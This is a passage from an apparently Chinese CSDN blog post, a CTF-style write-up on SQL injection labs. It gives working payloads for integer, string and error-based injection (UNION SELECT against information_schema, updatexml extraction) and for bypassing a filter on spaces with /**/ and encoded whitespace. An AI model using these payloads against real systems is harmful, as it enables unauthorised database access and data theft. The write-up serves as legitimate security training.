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1.整数型注入整数型注入

先判断有没有注入点

?id=1 and 1=1

?id=1 and 1=2

证明有注入点

https://blog.csdn.net/qq_60905276
https://so.csdn.net/so/search/s.do?q=sql&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_60905276/article/details/121342867


在输入1看看。

有两列回显。

获取当前数据库。

-1 union select 3,database()



获取所有数据库

-1 union select 3,group_concat(schema_name) from information_schema.schemata

 获取表名

-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"

 找到flag了。

获取字段

-1 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"

查询数据

 2.字符型注入字符型注入

首先查看他的字段

1' order by 2#



有2个字段

确定回显位置

-1' union select 1,2#

获取数据库

-1' union select 1,database()#

 接着是获取所有数据库，获取表名，获取字段，查看数据基本和整数型一样。

不过字符型，需考虑单引号，在1后加单引号’将字符型的引号闭合后进行注入语句构造。

而且这次我用了limit来查看其他返回行，更加简洁一些。这是在别的人那里看到的。

 3.报错注入报错注入

查看字段是2

 获取数据库

1 and left(database(),1)='s'#



1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#

看到了

1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli'
limit 0,1)),1)#

 

1 and updatexml(1,concat(0x7e,(select flag from flag)),1)#

 4.空格过滤空格过滤

由于过滤了空格致使无法执行注入的语句，可以用（），+，%09，%0a，%0b，%0c，%0d，/**/



-
1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

 

 

-
1/**/union/**/select/**/group_concat(column_name),2/**/from/**/information_schema.columns/**/where/**/table_name='wnfkkkotop'



后面找到falg

cookie，UA，refer注入都是同一个类型的，就是抓包。将sql语句输入在对应的地方一步步来就行了，这就不纤
细展示。
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